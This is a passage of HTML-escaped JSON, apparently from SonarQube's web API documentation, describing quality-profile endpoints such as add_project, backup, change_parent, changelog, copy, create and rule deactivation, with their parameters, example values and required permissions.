\u0026#34;java:S1144\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sort field\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;name\u0026#34;, \u0026#34;createdAt\u0026#34;, \u0026#34;updatedAt\u0026#34;, \u0026#34;key\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sansTop25\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SANS Top 25 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;insecure-interaction\u0026#34;, \u0026#34;risky-resource\u0026#34;, \u0026#34;porous-defenses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of default severities. Not the same than severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SonarSource security categories. Use \u0026#39;others\u0026#39; to select rules not associated with any category\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sql-injection,command-injection,others\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;buffer-overflow\u0026#34;, \u0026#34;sql-injection\u0026#34;, \u0026#34;rce\u0026#34;, \u0026#34;object-injection\u0026#34;, \u0026#34;command-injection\u0026#34;, \u0026#34;path-traversal-injection\u0026#34;, \u0026#34;ldap-injection\u0026#34;, \u0026#34;xpath-injection\u0026#34;, \u0026#34;log-injection\u0026#34;, \u0026#34;xxe\u0026#34;, \u0026#34;xss\u0026#34;, \u0026#34;dos\u0026#34;, \u0026#34;ssrf\u0026#34;, \u0026#34;csrf\u0026#34;, \u0026#34;http-response-splitting\u0026#34;, \u0026#34;open-redirect\u0026#34;, \u0026#34;weak-cryptography\u0026#34;, \u0026#34;auth\u0026#34;, \u0026#34;insecure-conf\u0026#34;, \u0026#34;file-manipulation\u0026#34;, \u0026#34;encrypt-data\u0026#34;, \u0026#34;traceability\u0026#34;, \u0026#34;permission\u0026#34;, \u0026#34;others\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;statuses\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of status codes\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;READY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;BETA\u0026#34;, \u0026#34;DEPRECATED\u0026#34;, \u0026#34;READY\u0026#34;, \u0026#34;REMOVED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,java8\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;targetKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Profile key on which the rule activation is done. To retrieve a quality profile key please see \\u003Ccode\\u003Eapi/qualityprofiles/search\\u003C/code\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL0\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;targetSeverity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Severity to set on the activated rules\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;template_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the template rule to filter on. Used to search for the custom rules based on this template.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S001\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;types\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of types. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BUG\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34;, \u0026#34;SECURITY_HOTSPOT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Associate a project with a quality profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EAdminister right on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;backup\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Backup a quality profile in XML form. The exported profile can be restored through api/qualityprofiles/restore.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;priority\u0026#39; and \u0026#39;type\u0026#39; fields of the rule XML object are deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;change_parent\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Change a quality profile\u0026#39;s parent.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;parentQualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New parent profile name. \\u003Cbr\\u003E If no profile is provided, the inheritance link with current parent profile (if any) is broken, which deactivates all rules which come from the parent and are not overridden.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;changelog\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the history of changes on a quality profile: rule activation/deactivation, change in parameters/severity. Events are ordered by date in descending order (most recent first).\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Added fields \u0026#39;cleanCodeAttributeCategory\u0026#39;, \u0026#39;impacts\u0026#39; to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added fields \u0026#39;oldCleanCodeAttribute\u0026#39;, \u0026#39;newCleanCodeAttribute\u0026#39;, \u0026#39;oldCleanCodeAttributeCategory\u0026#39;, \u0026#39;newCleanCodeAttributeCategory\u0026#39; and \u0026#39;impactChanges\u0026#39; to \u0026#39;params\u0026#39; section of response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added field \u0026#39;sonarQubeVersion\u0026#39; to \u0026#39;params\u0026#39; section of response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response fields \u0026#39;total\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;ps\u0026#39; have been deprecated, please use \u0026#39;paging\u0026#39; object instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;paging\u0026#39; has been added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;kubernetes\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;yaml\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;ts\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;50\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;qualityProfile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Sonar way\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;since\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Start date for the changelog (inclusive). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;End date for the changelog (exclusive, strictly before). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;copy\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Copy a quality profile.\\u003Cbr\\u003E Requires to be logged in and the \u0026#39;Administer Quality Profiles\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;fromKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;toName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name for the new quality profile.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Sonar way\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a quality profile.\\u003Cbr\\u003ERequires to be logged in and the \u0026#39;Administer Quality Profiles\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile language\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;js\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;azureresourcemanager\u0026#34;, \u0026#34;cloudformation\u0026#34;, \u0026#34;cs\u0026#34;, \u0026#34;css\u0026#34;, \u0026#34;docker\u0026#34;, \u0026#34;flex\u0026#34;, \u0026#34;go\u0026#34;, \u0026#34;grvy\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;js\u0026#34;, \u0026#34;json\u0026#34;, \u0026#34;jsp\u0026#34;, \u0026#34;kotlin\u0026#34;, \u0026#34;kubernetes\u0026#34;, \u0026#34;neutral\u0026#34;, \u0026#34;php\u0026#34;, \u0026#34;py\u0026#34;, \u0026#34;ruby\u0026#34;, \u0026#34;scala\u0026#34;, \u0026#34;secrets\u0026#34;, \u0026#34;terraform\u0026#34;, \u0026#34;text\u0026#34;, \u0026#34;ts\u0026#34;, \u0026#34;vbnet\u0026#34;, \u0026#34;web\u0026#34;, \u0026#34;xml\u0026#34;, \u0026#34;yaml\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Sonar way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;deactivate_rule\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Deactivate a rule on a quality profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Inherited rules can be deactivated (if the global admin setting is enabled)\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Profile key. Can be obtained through \\u003Ccode\\u003Eapi/qualityprofiles/search\\u003C/code\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;rule\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S1144\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;deactivate_rules\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bulk deactivate rules on Quality profiles.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Inherited rules can be deactivated (if the global admin setting is enabled)\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;severities\u0026#39;, \u0026#39;active_severities\u0026#39;, and \u0026#39;types\u0026#39; are now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sansTop25\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;activation\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter rules that are activated or deactivated on the selected Quality profile. Ignored if the parameter \u0026#39;qprofile\u0026#39; is not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;active_severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of activation severities, i.e the severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;available_since\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filters rules added since date. Format is yyyy-MM-dd\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2014-06-22\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Clean Code Attribute Categories\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ADAPTABLE,INTENTIONAL\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;ADAPTABLE\u0026#34;, \u0026#34;CONSISTENT\u0026#34;, \u0026#34;INTENTIONAL\u0026#34;, \u0026#34;RESPONSIBLE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;cwe\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of CWE identifiers. Use \u0026#39;unknown\u0026#39; to select rules not associated to any CWE.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;12,125,unknown\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;impactSeverities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Quality Severities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;HIGH,MEDIUM\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LOW\u0026#34;, \u0026#34;MEDIUM\u0026#34;, \u0026#34;HIGH\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;impactSoftwareQualities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Qualities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;MAINTAINABILITY,RELIABILITY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;MAINTAINABILITY\u0026#34;, \u0026#34;RELIABILITY\u0026#34;, \u0026#34;SECURITY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;inheritance\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of values of inheritance for a rule within a quality profile. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;INHERITED,OVERRIDES\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;NONE\u0026#34;, \u0026#34;INHERITED\u0026#34;, \u0026#34;OVERRIDES\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;is_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter template rules\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, 